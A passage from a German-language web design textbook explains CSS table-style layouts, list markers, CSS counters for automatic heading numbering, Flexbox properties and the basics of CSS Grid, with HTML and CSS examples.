  <tr>
    <td><img src="../../medien/47Puzzle/Puzzle_1-2.jpg" alt="1-2"></td>
    <td><img src="../../medien/47Puzzle/Puzzle_3-1.jpg" alt="3-1"></td>
    <td><img src="../../medien/47Puzzle/Puzzle_1-3.jpg" alt="1-3"></td>
  </tr>
  <tr>
    <td><img src="../../medien/47Puzzle/Puzzle_2-2.jpg" alt="2-2"></td>
    <td><img src="../../medien/47Puzzle/Puzzle_2-1.jpg" alt="2-1"></td>
    <td></td>
  </tr>
</table>
 
<div class="tabelle">
  <div class="beschriftung">Table-driven Design (semantisch korrekt)</div>
  <div class="zeile">
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_1-1.jpg"  
alt="1-1"></div>
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_1-2.jpg"  
alt="1-2"></div>
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_1-3.jpg"  
alt="1-3"></div>
  </div>
  <div class="zeile">
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_2-1.jpg"  
alt="2-1"></div>
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_2-2.jpg"  
alt="2-2"></div>
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_2-3.jpg"  
alt="2-3"></div>
  </div>
  <div class="zeile">
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_3-1.jpg"  
alt="3-1"></div>
    <div class="zelle"><img src="../../medien/47Puzzle/Puzzle_3-2.jpg"  
alt="3-2"></div>
    <div class="zelle"></div>
  </div>
</div>


        
            [image: Table-driven Design einmal falsch (da mittels <table> erstellt) und einmal richtig. Auf die korrekte Semantik kommt es an!]

            Abbildung 6.56    
            Table-driven Design einmal falsch (da mittels <table> erstellt) und einmal richtig. Auf die korrekte Semantik kommt es an!

        
        Sehen wir uns noch weitere Tabelleneigenschaften an:

        
            	
                border-collapse:separate | collapse lässt die Rahmen der Zellen entweder als einzelne Rahmen erscheinen oder aneinandergrenzende Rahmen zu einem Rahmen verschmelzen.

            

            	
                border-spacing definiert den Abstand zwischen den einzelnen Borders und wird eingesetzt, um einen Abstand zwischen den Zellen einer Tabelle einerseits und dem Tabellenrahmen zu den Zellen andererseits zu definieren.

            

            	
                table-layout:fixed | auto definiert, ob die Zellen der Tabelle eine fix zugewiesene Breite einhalten (fixed) oder sich an dem Inhalt der Zellen orientieren sollen.

            

        

        Weiters ist es im Rahmen von CSS-Tabellen auch möglich, ein thead, tbody bzw. ein tfoot nachzubilden. Gehen wir einmal von folgender HTML-Tabelle aus:

        <table>
  <thead>
    <tr>
      <th scope="col">Vorname</th>
      <th scope="col">Nachname</th>
      <th scope="col">E-Mail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Uwe</td>
      <td>Mutz</td>
      <td>uwe.mutz@syne.at</td>
    </tr>
    <tr>
      <td>Silvia</td>
      <td>Mutz</td>
      <td>silvia@be-a-warrior.at</td>
    </tr>
  </tbody>
  <tfoot>
    <tr>
      <td colspan="3">Personen</td>
    </tr>
  </tfoot>
</table>


        Möchten Sie dieses Gerüst in Form einer CSS-Tabelle darstellen, so erhalten Sie zunächst ein der Tabellenstruktur ähnliches HTML-Gerüst:

        <div class="tabelle">
  <div class="tabellenkopf">
    <div class="zeile">
      <div class="zelle">Vorname</div>
      <div class="zelle">Nachname</div>
      <div class="zelle">E-Mail</div>
    </div>
  </div>
  <div class="tabellenkoerper">
    <div class="zeile">
      <div class="zelle">Uwe</div>
      <div class="zelle">Mutz</div>
      <div class="zelle">uwe.mutz@syne.at</div>
    </div>
    <div class="zeile">
      <div class="zelle">Silvia</div>
      <div class="zelle">Mutz</div>
      <div class="zelle">silvia@be-a-warrior.at</div>
    </div>
  </div>
  <div class="tabellenfuss">
    <div class="zeile">
      <div class="zelle">Personen</div>
      <div class="zelle">Personen</div>
      <div class="zelle">Personen</div>
    </div>
  </div>
</div>


        Der zugehörige CSS-Code (als Erweiterung) lautet wie folgt:

        .tabellenkopf {
  display:table-header-group;
}
.tabellenkoerper {
  display:table-row-group;
}
.tabellenfuss {
  display:table-footer-group;
}


        Ein paar Punkte sind gegenüber der HTML-Tabelle auffällig:

        
            	
                Es existiert kein th-Äquivalent: Der Grund hierfür ist, dass ein th ein semantisches Element ist, was ja im Rahmen einer CSS-Tabelle (die nur zur Formatierung dient) nicht notwendig ist.

            

            	
                Es besteht keine Möglichkeit, Zellen zu verbinden: Dies ist das größte Manko im Rahmen von CSS-Tabellen. Benötigen Sie diese Möglichkeit, so müssen Sie zu Flexboxen greifen (siehe Abschnitt 6.15, »Listenartiges Design mit CSS«).

            

        

        Tabellenartige Layouts mit CSS zu erzeugen, zählt dennoch zu den exotischeren Anwendungen. Der Hauptgrund hierfür ist, dass Sie in den nächsten Abschnitten wesentlich bessere Möglichkeiten in Form von Flexboxen oder Grids kennenlernen werden.

    


                    
                        
        6.15    Listenartiges Design mit CSS

        Ähnlich wie im Falle von Tabellen ist auch das Darstellen von Elementen in einem listenartigen Design nicht ausschließlich den Listen vorbehalten, denn einzig und allein die display-Eigenschaft entscheidet darüber, wie Elemente dargestellt werden:

        
            	
                display: list-item erzeugt eine Darstellung eines (fast) beliebigen Elements in Form eines Listenpunktes.

            

            	
                Mithilfe von list-style-type (oder list-style-image für individuelle Grafiken als Listenpunkte) und list-style-position lässt sich der gewünschte Listenpunkt (Marker) individuell formatieren. Das Pseudo-Element ::marker setzt dem Ganzen dann noch das Krönchen auf.

            

        

        Betrachten wir beispielsweise folgenden Code, so wäre sofort klar, dass es sich um drei Absätze handelt:

        <p>Ein erster Listenpunkt</p>
<p>Ein zweiter Listenpunkt</p>
<p>Ein dritter Listenpunkt</p>


        Formatieren wir die drei Absätze jedoch mittels display:list-item, so erhalten wir eine listenpunktartige Darstellung wie in Abbildung 6.57:

        p {
  display:list-item;
  list-style-type:disc;
  margin-left:2em;
  ...
}


        
            [image: Auch Absätze können listenartig dargestellt werden.]

            Abbildung 6.57    
            Auch Absätze können listenartig dargestellt werden.

        
        Am eingefärbten Hintergrund der Absätze ist gut zu erkennen, dass die Listenpunkte wie üblich außerhalb der Absätze stehen, weshalb im CSS-Code ein margin-left:2em; definiert wurde. Alternativ steuert man über list-style-position: inside | outside, ob der Listenpunkt innerhalb (inside) oder außerhalb (outside; Standard) des betreffenden Elements steht:

        p {
  display:list-item;
  list-style-type:disc;
  list-style-position:inside;
  /*margin-left:2em; wird nicht mehr benötigt */
  ...
}


        
            [image: Der Listenpunkt ist nun im Absatz integriert, wodurch ein Linksabstand nicht mehr benötigt wird.]

            Abbildung 6.58    
            Der Listenpunkt ist nun im Absatz integriert, wodurch ein Linksabstand nicht mehr benötigt wird.

        
        Was zu diesen Möglichkeiten noch hinzukommt, ist die Formatierung der Marker (der Bullets etc.) selbst, von denen die Eigenschaften font, color, content, white-space sowie weitere Eigenschaften zur Textausrichtung angesprochen werden können. Das folgende Beispiel und Abbildung 6.59 zeigen etwa, wie im Fall einer nummerierten Liste die Listenpunkte samt Marker entsprechend formatiert werden können:

        li {
  padding:0px 0.5em;
  margin-bottom:0.5em;
  border-right:0.2em solid orange;
  border-radius:0.5em;
}
li::marker {
  color:orange;
}
li::marker,
li::first-line {
  font-size:1.5em;
  font-weight:bold;
  font-stretch:condensed;
}
li:hover {
  border-right-color:red;
}
li:hover::marker {
  color:red;
}


        
            [image: Einmal anders formatierte Listenpunkte inklusive Hover-Effekt]

            Abbildung 6.59    
            Einmal anders formatierte Listenpunkte inklusive Hover-Effekt

        
    


                    
                        
        6.16    CSS Counters – Individuelle Nummerierung mit CSS gefällig?

        Ein oft gehegter Wunsch beim Webdesign ist eine Möglichkeit zur automatischen Nummerierung von Elementen wie etwa Überschriften. Aus den Druckmedien (insbesondere Büchern) sind wir es gewohnt, Überschriften inklusive der Unterkapitel (und so weiter) fortlaufend nummeriert zu sehen. HTML bietet hierzu natürlich keine Möglichkeit, denn dieses Thema betrifft nicht HTML, sondern CSS. Nun, CSS kann’s: Das Zauberwort lautet CSS Counters.

        Betrachten wir folgenden Code, in dem wir die Überschriften unterschiedlicher Hierarchie-Ebenen entsprechend nummerieren wollen:

        <h1>HTML - Die Grundlage einer Website</h1>
  <p>Lorem ipsum ...</p>
  <h2>Die Geschichte von HTML</h2>
    <p>Lorem ipsum ...</p>
  <h2>Der Browser als Interpreter</h2>
    <h3>Ein Test für h3</h3>
      <p>Lorem ipsum ...</p>
  <h2>Das Grundgerüst einer Website</h2>
    <p>Lorem ipsum ...</p>
<h1>CSS - Formatierung rules</h1>
  <p>Lorem ipsum ...</p>
  <h2>Die drei Säulen von CSS</h2>
    <p>Lorem ipsum ....</p>
  <h2>Die Stylesheets</h2>
    <p>Lorem ipsum ...</p>
  <h2>CSS & HTML - ein schönes Paar</h2>
    <p>Lorem ipsum ...</p>


        Im obigen Code habe ich bewusst Einrückungen eingefügt, um die gewollte Hierarchie deutlicher zu machen. Notwendig ist die Einrückung natürlich nicht.

        Zunächst muss für jedes Element, das wir nummerieren wollen, ein Zähler (mit einem frei wählbaren Namen) definiert werden, der an geeigneter Stelle zurückgesetzt (auf 0 gesetzt) werden muss: Im Fall von h1 erfolgt dies global im body, für h2 muss jedoch der Zähler pro neuer Zählung von h1 wieder zurückgesetzt werden (Kap. 1, Kap 1.1, Kap 1.2, Kap. 2, Kap. 2.1 usw.), weshalb das Zurücksetzen des Zählers bei jedem neuen Vorkommen einer h1 erfolgt. Dies gilt dann auch für h3, wo der Zähler bei jedem neuen Vorkommen einer h2 zurückgesetzt wird:

        body {
  counter-reset:cntH1; /* der Name cntH1 ist natürlich frei wählbar */
}
h1 {
  counter-reset:cntH2;
}
h2 {
  counter-reset:cntH3;
}


        Im nächsten Schritt wird mithilfe des Pseudo-Elements ::before vor einer jeden Überschrift ein neuer Inhalt eingefügt, aber zuvor noch der jeweilige Zähler mittels counter-increment erhöht:

        h1::before {
  counter-increment:cntH1;
  content:counter(cntH1);
  margin-right:0.5em;
}
h2::before {
  counter-increment:cntH2;
  content:counter(cntH1) "." counter(cntH2);
  margin-right:0.5em;
}
h3::before {
  counter-increment:cntH3;
  content:counter(cntH1) "." counter(cntH2) "." counter(cntH3);
  margin-right:0.5em;
}


        Fügt man dann noch einen Rechtsabstand nach der Nummerierung ein, erhält man das Ergebnis aus Abbildung 6.60.

        
            [image: Die automatische Nummerierung von Kapiteln ist eine unglaubliche Erleichterung, wenn sich der Content häufig ändert.]

            Abbildung 6.60    
            Die automatische Nummerierung von Kapiteln ist eine unglaubliche Erleichterung, wenn sich der Content häufig ändert.

        
        Auf diese Art und Weise werden beispielsweise auch Rechtstexte durchnummeriert, denn welchen Inhalt Sie mittels content einfügen, ist Ihnen selbst überlassen. Das könnte somit auch ein Paragrafen-Zeichen § sein.

        Wenden wir unser nun gewonnenes Wissen auf die in Abschnitt 6.15, »Listenartiges Design mit CSS«, erzeugte Liste an, so könnten wir nun auch dort eine individuelle Gestaltung der Nummerierung vornehmen. Bewegt der User die Maus über einen Listenpunkt, so wird dieser (aufgrund von :hover) hervorgehoben:

        ol {
  counter-reset:cntOL;
}
li {
  counter-increment:cntOL;
  padding:0px 0.5em;
  margin-bottom:0.5em;
  border-right:0.2em solid orange;
  border-radius:0.5em;
}
li::marker {
  color:orange;
  content:"#" counter(cntOL);
}
li::marker,
li::first-line {
  font-size:1.5em;
  font-weight:bold;
  font-stretch:condensed;
}
 
li:hover {
  border-right-color:red;
}
li:hover::marker {
  color:red;
}


        
            [image: Die nummerierte Liste aus dem vorangegangenen Abschnitt erhält nun auch eine Individualnummerierung. Bewegt der User den Mauszeiger über einen Listenpunkt, so wird das Hovering aktiv und der Listenpunkt rot markiert.]

            Abbildung 6.61    
            Die nummerierte Liste aus dem vorangegangenen Abschnitt erhält nun auch eine Individualnummerierung. Bewegt der User den Mauszeiger über einen Listenpunkt, so wird das Hovering aktiv und der Listenpunkt rot markiert.

        
    


                    
                        
        6.17    Fortgeschrittenes Layout – Jetzt wird’s fein

        
            6.17.1    Flexboxen – eindimensionales Denken

            Flexboxen ermöglichen eine saubere Platzierung von Elementen innerhalb eines Containers, und zwar in einer Dimension (horizontal oder vertikal). Wie Sie noch sehen werden, ist die Unterscheidung zwischen horizontal und vertikal genau der Grund, warum man nicht von »von links nach rechts« (es hätte auch »von rechts nach links« sein können) oder »von von oben nach unten« (bzw. »von unten nach oben«) spricht. Aber alles der Reihe nach …

            Grundsätzlich haben Sie es mit zwei Dingen zu tun:

            
                	
                    mit einem umgebenden Container, der die Flexbox darstellt: Diesem wird die notwendige Eigenschaft display:flex; zugewiesen.

                

                	
                    mit den Elementen innerhalb der Flexbox (den Flex Items), die entsprechend der Vorgaben ausgerichtet werden. Hierzu sei angemerkt, dass Elemente innerhalb einer Flexbox automatisch zu Block-Elementen werden.

                

            

            Der entsprechende HTML-Code sieht also recht einfach aus:

            <div class="flexbox">
  <div>Box A</div>
  <div>Box B</div>
  <div>Box C<br>Box C</div>
  <div>Box D<br>Box D<br>Box D</div>
  <div>Box EeeeeeEeeeeeEeeeee</div>
  <div>Box F Box F Box F Box F</div>
  ...
</div>


            Natürlich ist es unerheblich, ob

            
                	
                    es sich um div-Elemente oder andere Container handelt.

                

                	
                    die Formatierung mithilfe einer Klasse flexbox oder auf eine andere Art und Weise (z. B. durch Verwendung einer ID) erfolgt.

                

                	
                    welcher Inhalt sich innerhalb der geflexten Elemente befindet.

                

            

            In diesem Beispiel verwende ich zur optischen Veranschaulichung folgenden (zusätzlichen, aber für Flexboxen nicht benötigten) CSS-Code:

            .flexbox {
  padding:0.2em;
  border:2px solid #ccc;
  background-color:#eee;
  border-radius:0.2em;
  margin-bottom:1em;
  width:100%;
}
.flexbox > * {
  padding:1em;
  border-radius:0.2em;
  border:2px solid white;
}
...


            Ohne Einsatz einer Flexbox würde das obige Beispiel so wie in Abbildung 6.62 aussehen.

            
                [image: Die Darstellung von normalen Block-Elementen war zu erwarten.]

                Abbildung 6.62    
            Die Darstellung von normalen Block-Elementen war zu erwarten.

            
            Um die Elemente nun entsprechend als Flex-Elemente darzustellen, wird der Klasse flexbox die Eigenschaft display:flex; zugewiesen. In diesem Zusammenhang kommen auch gleich einige Standardeinstellungen für Flexboxen zum Tragen (dazu jedoch später mehr). Das Resultat ergibt das, was Sie in Abbildung 6.63 sehen.

            
                [image: Die Elemente innerhalb der Flexbox richten sich nun neu aus.]

                Abbildung 6.63    
            Die Elemente innerhalb der Flexbox richten sich nun neu aus.

            
            Folgendes fällt auf:

            
                	
                    Die geflexten Elemente werden horizontal nebeneinander angeordnet. Der Grund ist, dass die horizontale Darstellung die Standardrichtung ist. Diese können Sie mithilfe der Eigenschaft flex-direction:row | row-reverse | column | column-reverse; festlegen.

                

                	
                    Die Elemente sind nur so breit wie nötig. Die dahinterliegende Eigenschaft ist flex-shrink:0 | 1; womit angegeben werden kann, ob ein Element sich verkleinern darf (Wert 1) oder nicht.

                

                	
                    In der Höhe nehmen alle Elemente den gesamt zur Verfügung stehenden Platz ein (dieser wird im aktuellen Beispiel durch das höchste Element (Box D) bestimmt). Die zugehörige Eigenschaft lautet:

                    align-items: stretch | flex-start | flex-end | center | baseline ...;


                

            

            Die Standardwerte der Eigenschaften sind jeweils fett gekennzeichnet.

            Wir haben es bei Flexboxen ja mit zwei Richtungen zu tun: einerseits mit der horizontalen Ausrichtung, andererseits mit der vertikalen Ausrichtung. Oder eben umgekehrt! Je nach flex-direction bestimmt diese entweder die horizontale Ausrichtung (flex-direction:row oder flex-direction:row-reverse) oder die vertikale Ausrichtung (flex-direction:column oder flex-direction:column-reverse). Die zweite Eigenschaft, align-items, übernimmt dann die jeweils andere Dimension:

            
                	
                    flex-direction:row | row-reverse legt eine horizontale Ausrichtung der Elemente fest, wodurch align-items die vertikale Ausrichtung übernimmt.

                

                	
                    flex-direction:column | column-reverse legt eine vertikale Ausrichtung der Elemente fest, wodurch align-items wiederum die horizontale Ausrichtung übernimmt.

                

            

            In Abbildung 6.64 und Abbildung 6.65 finden Sie eine grafische Zusammenfassung einiger der oben genannten Einstellungen.

            
                [image: Die erste Flexbox zeigt die Standarddarstellung von »flex-direction (row)«; die zweite Flexbox verwendet »row-reverse«; die beiden darunterstehenden Flexboxen setzen »column« bzw. »column-reverse« ein.]

                Abbildung 6.64    
            Die erste Flexbox zeigt die Standarddarstellung von »flex-direction (row)«; die zweite Flexbox verwendet »row-reverse«; die beiden darunterstehenden Flexboxen setzen »column« bzw. »column-reverse« ein.

            
            
                [image: »align-items« schlagen sich im Falle von »flex-direction:row« (oder »flex-direction:row-reverse«) in der vertikalen Richtung nieder. Würde man »flex-direction:column« (oder »column-reverse«) verwenden, so würde »align-items« die horizontale Richtung betreffen.]

                Abbildung 6.65    
            »align-items« schlagen sich im Falle von »flex-direction:row« (oder »flex-direction:row-reverse«) in der vertikalen Richtung nieder. Würde man »flex-direction:column« (oder »column-reverse«) verwenden, so würde »align-items« die horizontale Richtung betreffen.

            
            Den Flex-Elementen können Sie über die Eigenschaft flex-basis den Platzbedarf zuweisen, den sie einnehmen sollen. Folgende Situationen können auftreten:

            
                	
                    Es bleibt noch Platz übrig, da die Elemente nicht so viel Platz benötigen, wie zur Verfügung steht. Somit stellt sich die Frage: Was geschieht mit dem freien Platz?

                

                	
                    Es ist nicht genügend Platz vorhanden, da die Elemente mehr Platz benötigen, als zur Verfügung steht. Die Frage ist: Soll umbrochen werden oder soll der Inhalt über die Flexbox hinaus stehen?

                

            

            Grundsätzlich werden die Flex-Elemente alle nebeneinander (untereinander) dargestellt, ein Umbruch findet also nicht statt – Abbildung 6.66 zeigt dies.

            
                [image: Sämtliche Boxen stehen nebeneinander – es ist ja auch ausreichend Platz zur Verfügung.]

                Abbildung 6.66    
            Sämtliche Boxen stehen nebeneinander – es ist ja auch ausreichend Platz zur Verfügung.

            
            Sollte der Platz jedoch nicht ausreichen, da etwa die flex-basis-Eigenschaft zu große Elemente erzeugt, so muss der Inhalt über den Container (die Flexbox) hinausschießen. Wir haben das abgefangen, indem wir das overflow-x auf auto gestellt haben und somit immer dann einen Scrollbar erzeugen, wenn dieser notwendig wird (siehe Abbildung 6.67).

            
                [image: Die Flexbox ist zu klein für den Inhalt, weshalb der Inhalt über die Box hinausschießt. Lediglich der Scrollbar ermöglicht es, den Inhalt noch betrachten zu können.]

                Abbildung 6.67    
            Die Flexbox ist zu klein für den Inhalt, weshalb der Inhalt über die Box hinausschießt. Lediglich der Scrollbar ermöglicht es, den Inhalt noch betrachten zu können.

            
            Wie Sie gut erkennen können, benötigen die Flex-Items eigentlich gar nicht so viel Platz, wie wir ihnen zugewiesen haben. Um ein Hinausschießen über die Flexbox zu verhindern, könnten Sie in diesem Fall ein flex-shrink erlauben, wodurch sich die Elemente – unabhängig von der Einstellung der flex-basis – so weit verkleinern, dass sie doch wieder in die Flexbox passen. Abbildung 6.68 zeigt diesen Fall.

            
                [image: Die Eigenschaft »flex-shrink« erlaubt, dass sich die Flex-Items auf den benötigten Platz verkleinern, sollte dies notwendig sein.]

                Abbildung 6.68    
            Die Eigenschaft »flex-shrink« erlaubt, dass sich die Flex-Items auf den benötigten Platz verkleinern, sollte dies notwendig sein.

            
            Kommt anstatt von flex-shrink die Eigenschaft flex-wrap:wrap (oder wrap-reverse) zum Einsatz, erlaubt die Flexbox einen Umbruch der Flex-Items in eine zweite Zeile (oder in eine dritte oder vierte usw., sofern notwendig) – Abbildung 6.69 zeigt dies.

            
                [image: Mithilfe von »flex-wrap« wird es möglich, dass die Flex-Items eine neue Zeile bilden (oder auch eine neue Spalte im Falle von »flex-direction:column;«).]

                Abbildung 6.69    
            Mithilfe von »flex-wrap« wird es möglich, dass die Flex-Items eine neue Zeile bilden (oder auch eine neue Spalte im Falle von »flex-direction:column;«).

            
            Wie viel Platz ein jedes Flex-Element erhält, wird pro Flex-Element definiert, also über die Eigenschaft flex-basis. Die Eigenschaften flex-shrink und flex-grow definieren je Element (Flex-Item), ob ein Kleinerwerden (flex-shrink) oder ein Größerwerden (flex-grow) erlaubt sein soll, sofern dies benötigt wird.

            Weitere Eigenschaften von Flexboxen sind:

            
                	
                    justify-content: Gibt an, wie sich die Flexelemente den noch freien Platz innerhalb einer Flexbox aufteilen. (Im Fall der row-Richtung teilen sie sich den horizontalen Platz; im Fall der Spalten-Richtung den vertikalen Platz.) Die möglichen Werte sind:

                    flex-start | flex-end | space-around | space-between | space-evenly | center | start | end | left | right


                    Zwei Beispiele sehen Sie in Abbildung 6.70 und Abbildung 6.71.

                

                	
                    align-content: Gibt an, wie sich die Flex-Elemente im Fall von flex-wrap den freien Platz in der jeweils nicht genutzten Dimension (bei row: die col-Richtung; bei col: die row-Richtung) aufteilen. Die möglichen Werte sind:

                    normal | flex-start | flex-end | space-around | space-between |  
space-evenly | center | start | end | stretch | baseline | first-baseline | last-baseline


                

            

            
                [image: Die Eigenschaft »justify-content« definiert, wie die Elemente horizontal ausgerichtet werden. Sollte die »flex-direction« auf »column« (oder »column-reverse«) gesetzt sein, gilt dies natürlich für die vertikale Ausrichtung.]

                Abbildung 6.70    
            Die Eigenschaft »justify-content« definiert, wie die Elemente horizontal ausgerichtet werden. Sollte die »flex-direction« auf »column« (oder »column-reverse«) gesetzt sein, gilt dies natürlich für die vertikale Ausrichtung.

            
            Beispiel 2 für justify-content:

            
                [image: »justify-content:space-evenly« teilt den verbleibenden Platz gleichmäßig auf.]

                Abbildung 6.71    
            »justify-content:space-evenly« teilt den verbleibenden Platz gleichmäßig auf.

            
            Um mit Flexboxen zu experimentieren, finden Sie im Downloadbereich zum Buch einen HTML- und CSS-Code für die oben dargestellte Spielwiese.

        
        
            6.17.2    Grids – zweidimensionales Denken

            Das CSS-Grid ist eine logische Weiterentwicklung der eindimensionalen Flexboxen hinsichtlich eines zweidimensionalen Rasters. Flexboxen sind von ihrer Natur her eigentlich nicht in der Lage, einen Gestaltungsraster aufzubauen, da untereinander stehende Boxen (anders als beispielsweise eine Tabelle) keinen Zusammenhang zu den darüber liegenden Boxen aufweisen. Somit könnte es bei einem solchen Flexbox-Grid passieren, dass zwei untereinanderliegende Spalten unterschiedlich breit sind. Ein solches Problem darf jedoch bei einem Grid nicht auftreten!

            Der Grundaufbau im HTML ist sehr ähnlich zum Aufbau von Flexboxen: Sie benötigen einerseits einen umgebenden Container, der die Eigenschaft display:grid; erhält, sowie die darin befindlichen Grid-Items. Die Reihenfolge der Grid-Items im HTML-Code ist grundsätzlich nicht relevant, da diesen in weiterer Folge Positionen im Grid zugewiesen werden können.

            Neben der Grundeigenschaft display:grid; müssen Sie dem Grid-Container noch mitteilen, wie sein Aufbau hinsichtlich Spalten und Zeilen ist, was mit den Eigenschaften grid-template-columns und grid-template-rows erfolgt. Den Items wird – sofern erwünscht – mit grid-column und grid-row mitgeteilt, wohin sie sich positionieren müssen, was der Grund ist, warum die Reihenfolge im HTML-Code irrelevant ist.

            Die Terminologie eines CSS-Grids sieht wie folgt aus:

            
                	
                    Grid-Container: Das ist der übergeordnete Container, der die Eigenschaft display:grid; erhält.

                

                	
                    Grid-Items: die Elemente, die ins Grid platziert werden sollen; sie sind direkte Kinder des Grid-Containers.

                

                	
                    Grid-Line: Sie stellt die Grenze zwischen Grid-Cells dar und kann naturgemäß horizontal oder vertikal sein.

                

                	
                    Grid-Track: Ein Track ist der Bereich zwischen zwei aufeinanderfolgenden Grid-Lines, also entweder eine Zeile zwischen horizontalen Grid-Lines oder eine Spalte zwischen vertikalen Grid-Lines.

                

                	
                    Grid-Cell: Sie wird durch horizontal und vertikal aufeinanderfolgende Grid-Lines begrenzt, vergleichbar mit einer Zelle einer Tabelle.

                

                	
                    Grid-Area: Sie stellt einen Bereich in einem Grid dar, der durch horizontale und vertikale Grid-Lines begrenzt ist. Anders als bei einem Track müssen diese jedoch nicht aufeinanderfolgen. Sie sind vergleichbar mit Zellen einer Tabelle, die mit colspan oder rowspan zusammengefasst wurden.

                

            

            Gehen wir von dem Beispiel aus, das wir auch bei den Flexboxen verwendet hatten (mit dem Unterschied, dass ich die CSS-Klasse nun grid getauft habe):

            <div class="grid">
  <div>Box A</div>
  <div>Box B</div>
  <div>Box C<br>Box C</div>
  <div>Box D<br>Box D<br>Box D</div>
  <div>Box EeeeeeEeeeeeEeeeee</div>
  <div>Box F Box F Box F Box F</div>
  <div>Box GGG</div>
  <div>Box H</div>
  <div>Box I</div>
  <div>Box J</div>
</div>


            Wie zu erwarten war, passiert mit unseren Elementen zunächst noch nichts Großartiges (siehe Abbildung 6.72), da unsere Klasse grid noch keine Regeln beinhaltet:

            .grid {
}


            
                [image: Noch ist kein Grid zu erkennen.]

                Abbildung 6.72    
            Noch ist kein Grid zu erkennen.

            
            Dies ändert sich jedoch schnell, wenn wir die Eigenschaft display auf grid setzen (display:grid;) und ein dreispaltiges Design entwerfen: Die erste Spalte im Grid soll 5em breit sein, die zweite Spalte soll sich einen Anteil vom übrig gebliebenen Rest nehmen (1fr), die dritte Spalte bekommt zwei Anteile davon (2fr). Die erste Zeile soll 8em hoch sein, und alle folgenden Zeilen passen sich in der Höhe automatisch an (da keine weiteren Höhen angegeben sind):

            .grid {
  height:70vh;
 
  display:grid;
  grid-template-columns: 5em 1fr 2fr;
  grid-template-rows: 8em;
}


            Zur Erklärung:

            
                	
                    grid-template-columns definiert die Breite der Spalten, wobei diese auf vielfältige Weise definiert werden können.

                

                	
                    grid-template-rows definiert sinngemäß die Höhe der Zeilen, ist jedoch optional; alternativ kann man die Anzahl der Zeilen offen lassen (also nicht explizit angeben) – dann wird die Anzahl der Rows automatisch erzeugt. Die Höhe dieser Rows könnten Sie mit grid-auto-rows angeben.

                

                	
                    Die Höhenangabe ist selbstredend optional und wurde nur aufgrund einer besseren Darstellung gewählt.

                

            

            Als Einheiten für sowohl Spalten als auch Zeilen können Sie alle in CSS möglichen Einheiten verwenden, also Pixel (px), Prozent (%), Schriftgrößeneinheiten (em, rem) sowie ein paar besondere:

            
                	
                    auto stellt den »übrig bleibenden« Platz dar.

                

                	
                    fr (Fraction) stellt einen »Teil des übrig bleibenden« Platzes dar. Hiermit können Sie etwa den verbleibenden Teil des Platzes gleichmäßig aufteilen. Im obigen Beispiel bleibt also zu den 100 % der Breite nach Abzug von 5 em noch ein Platz frei. Dieser wird nun in diesem Fall in drei (1+2) Teile aufgeteilt und entsprechend an die Spalten vergeben.

                

            

            Das Ergebnis ist in Abbildung 6.73 dargestellt.

            
                [image: Weil sowohl die Spalten als auch die Zeilen teilweise relativ angegeben sind, nutzt das Grid den gesamten ihm zur Verfügung stehenden Platz aus: 100 % in der Breite, 70 vh in der Höhe.]

                Abbildung 6.73    
            Weil sowohl die Spalten als auch die Zeilen teilweise relativ angegeben sind, nutzt das Grid den gesamten ihm zur Verfügung stehenden Platz aus: 100 % in der Breite, 70 vh in der Höhe.

            
            Sollte man mehr Grid-Items als Grid-Plätze haben (in unserem Beispiel hat es den Anschein, dass das Grid aus elf Plätzen besteht, wobei einer frei zu bleiben scheint), so geschieht die Aufteilung automatisch auf Basis der grid-template-rows. Gehen wir vom obigen CSS-Code aus und stellen wir jedoch nicht zehn Grid-Items, sondern 15 Grid-Items zur Verfügung, so werden weitere Zeilen angefügt. Welche Darstellung diese bekommen, wird über die Eigenschaften grid-auto-columns und grid-auto-rows definiert (siehe hierzu etwa https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-columns sowie https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-rows).

            Zusätzlich zu den Spalten und Zeilen besteht auch die Möglichkeit, zwischen beiden Abstände zu definieren:

            
                	
                    grid-column-gap | column-gap: Abstand zwischen den Spalten

                

                	
                    grid-row-gap | row-gap: Abstand zwischen den Zeilen

                

                	
                    grid-gap | gap: gemeinsamer Abstand für sowohl Zeilen als auch Spalten

                

            

            Neben der Darstellung des Grids geschieht im Hintergrund auch eine Nummerierung der Grid-Lines, und zwar sowohl positiv als auch negativ:

            
                	
                    In diesem Beispiel existieren vier vertikale und fünf horizontale Grid-Lines.

                

                	
                    Die erste vertikale Grid-Line erhält die Nummerierungen 1 und -4, die zweite 2 und -3, die dritte 3 und -2 und die vierte 4 und -1, also einmal von vorne und einmal von hinten gezählt.

                

                	
                    Die erste horizontale Grid-Line erhält die Nummerierungen 1 und -5, die zweite 2 und -4, die dritte 3 und -3, die vierte 4 und -2 und die fünfte 5 und -1.

                

            

            Bei Bedarf können den Grid-Lines auch Namen zugewiesen werden, die in der Definition der Grid-Columns und -Rows in eckigen Klammern angegeben werden. Möchten Sie etwa die vertikalen Linien mit »Linie_1«, »Linie_2«, »LineA« und »BB« sowie die horizontalen Grid-Lines mit »h1«, »horiz« und »CX« benennen (Sie sehen schon: die Namen haben keine Bedeutung, dürfen jedoch keine Leerzeichen beinhalten), so würden Sie diese für das obige Beispiel wie folgt notieren:

            .grid {
  ...
  grid-template-columns: [Linie_1] 5em [Linie_2] 1fr [LineA] 2fr [BB];
  grid-template-rows: [h1] 8em [horiz] auto [CX];
}


            Der Grund für eine derartige Vorgehensweise ist, dass Sie in weiterer Folge die Definition der Grid-Areas durch Angabe von etwa »von Linie_1 bis LineA« usw. vornehmen können. Es bestünde sogar die Möglichkeit, einer Linie zwei Namen zu geben, indem Sie innerhalb der eckigen Klammern zwei Namen getrennt durch ein Leerzeichen schreiben: [Linie_1b Linie_2a]. Außerdem dürfen Linien auch denselben Namen haben – unterschieden werden sie dann durch eine (bei 1 beginnende) fortlaufende Zahl.

            
                Grid-Template-Areas

